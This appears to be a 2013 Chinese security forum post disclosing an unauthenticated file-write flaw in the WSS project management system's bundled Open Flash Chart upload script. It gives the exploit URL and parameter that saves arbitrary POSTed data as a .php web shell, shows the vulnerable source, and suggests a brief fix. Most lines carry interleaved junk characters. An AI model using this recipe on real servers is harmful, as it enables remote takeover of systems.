找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2218|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存# f7 \$ I8 s5 ~6 z4 F: W3 _) f+ ^
漏洞文件/chart/php-ofc-library/ofc_upload_image.php% Y1 W0 g, V* F, F5 ]6 v

6 B0 b0 _3 C2 a  |& E6 Z利用:# p7 D8 j( E5 o: c/ n" X
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名* i2 n0 s8 e- S- d0 T+ A- I
: N+ q2 M; i2 K/ Y
Post任意数据
( c" N+ M5 V) n% _. _" [& m$ F. y保存位置http://localhost/chart/tmp-upload-images/hfy.php0 F# f4 b/ M* S' }$ S$ }* {
8 K: l: I9 x0 V) P* W" C

2 ?5 H- E9 h3 M" V9 U) V& d* h最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
+ a: p$ u8 h" @2 b6 d1 k) l3 R. H( G" p$ Q
<?php4 D$ c/ y9 n- y$ S( Q' A0 ]  Z

9 T( j. t) J' c//
9 F5 O+ O( ?# q// In Open Flash Chart -> save_image debug mode, you
, R+ N9 C' _/ {, g/ {4 @// will see the 'echo' text in a new window.% K+ q4 P0 R6 P0 X; }# Q
/// L4 `7 l7 B6 ^

2 @2 f) u7 o& v# x$ V6 D/*( H4 m# t; G  O' N' N
1 \1 H: b' q1 |1 |  j( F. x8 @
print_r( $_GET );
" t6 L: O6 ^( z/ pprint_r( $_POST );! v# E: B2 F2 e9 D5 t3 G
print_r( $_FILES );
. N. ^4 A/ ]3 p) [' \- f: q8 A  b! x6 A7 R' H8 h) w; |  t
print_r( $GLOBALS );+ `* g7 a+ m4 }7 Y! g
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
! [& ]* {) J! a4 {0 ~, g8 M  I1 e
*/
' H$ w; F0 f3 s& N' C// default path for the image to be stored //) E: f/ B& p- D6 e- J
$default_path = '../tmp-upload-images/';
; u* i* s) d' h  k/ |$ `
  ^( ]# Q% e0 G/ }4 E( Dif (!file_exists($default_path)) mkdir($default_path, 0777, true);
, @! K2 u2 a$ [$ _; u" g/ ]- E: J" v  }
// full path to the saved image including filename //0 n% _4 m$ \. L$ g: p6 ?
$destination = $default_path . basename( $_GET[ 'name' ] );
8 K# V% k1 d5 v' m' R7 {) _1 k" R5 `0 n6 b7 m" a/ d% u# s3 k
echo 'Saving your image to: '. $destination;
% [7 |! z3 Z$ ^9 j// print_r( $_POST );) t, x( d" ^8 c% d: L/ f2 g! B
// print_r( $_SERVER );# P) g. b5 a7 o" F" G
// echo $HTTP_RAW_POST_DATA;: j& h2 g, ~8 R% ^8 ?4 K+ h
, C/ E5 w# Q& ^8 H' L6 n8 i9 E
//
% S! ~: G, S5 n& n1 X1 g$ K// POST data is usually string data, but we are passing a RAW .png
  H! O, ^0 F3 M1 n$ E. N4 T# l// so PHP is a bit confused and $_POST is empty. But it has saved0 {$ X& p3 H' C- e& H
// the raw bits into $HTTP_RAW_POST_DATA
2 d0 q/ f/ ~% o2 [//
1 M, J' ~, `" E6 x' U4 o) Z
+ S) c+ X# |+ A5 O/ K. x5 B" [" Z$jfh = fopen($destination, 'w') or die("can't open file");- b1 m; p2 C2 I, z0 D$ \* I
fwrite($jfh, $HTTP_RAW_POST_DATA);6 a  Q4 Q4 k) S5 R
fclose($jfh);
5 v) X% o2 c* N8 ?. K# o0 L2 M$ M! l! r4 K# b
//
8 Q- Z( [4 a! F7 C) \2 R// LOOK:
8 t) I" T  y8 o$ o) G//6 y$ n- P: Z4 I; d
exit();
% Q) u) L8 w! a//$ ]$ g8 v6 b0 B# q8 v
// PHP5:* E- j9 E( C1 [1 `# N; O5 I
//
8 e8 \& Z* B+ q- H
) f8 D! v; v4 ]- R- h7 M8 e6 g$ }) E4 h' P& A
// default path for the image to be stored //
" n/ C0 S" Q* r( F2 p# ?/ H$ N" G: z$default_path = 'tmp-upload-images/';
+ p& \4 R! b/ i* x2 }6 [$ N0 w$ f# L: R. o" q5 F
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
1 M6 P6 L+ x5 F# U+ ]' |. {# E, m/ @+ J6 \) ~# C: u# e' B7 _& d
// full path to the saved image including filename //
8 n" v4 w; E, v6 e  |7 t" h$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
* R0 A! Y( t. D& r( F
! H# \/ @) J: P1 K0 d// move the image into the specified directory //
; X0 E0 ]  e, y. oif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
6 l6 s6 }1 M+ H& f0 f8 r' G    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";1 h# ^  Y! e6 c+ t/ B% |9 Z
} else {
/ y3 E* U; c8 w    echo "FILE UPLOAD FAILED";- |; l! I" w4 M; ~/ h) R2 o
}
. Q1 u# n% W1 o. T* [; n: U1 v! N, @5 S9 k
/ u9 Y' k  o/ Y0 F" s
?>
' q' |) X& r/ c, w
3 y; ]6 u# `5 ^  l+ B$ W
- R5 B# r7 ]% s3 w: M8 w: t+ M* `5 X3 c  A& I4 g( V0 o* `
' m- `4 j+ ^  E2 D, Q4 k, y

' G7 c6 _* L; W& Y" ~6 S+ @# x0 W7 D% S# V; i
修复方案: % M& X# S& l3 M+ z2 S4 t% O9 X3 z
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 . a" F1 |- v7 w0 n* m; b9 d
1 J! S. \6 F$ I3 d( ~

" {9 m) q& f: T/ f" k: F. k
: j& }$ B) n; C& c) i( }# a4 ^3 U/ d$ m3 }% v! z2 h( R

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表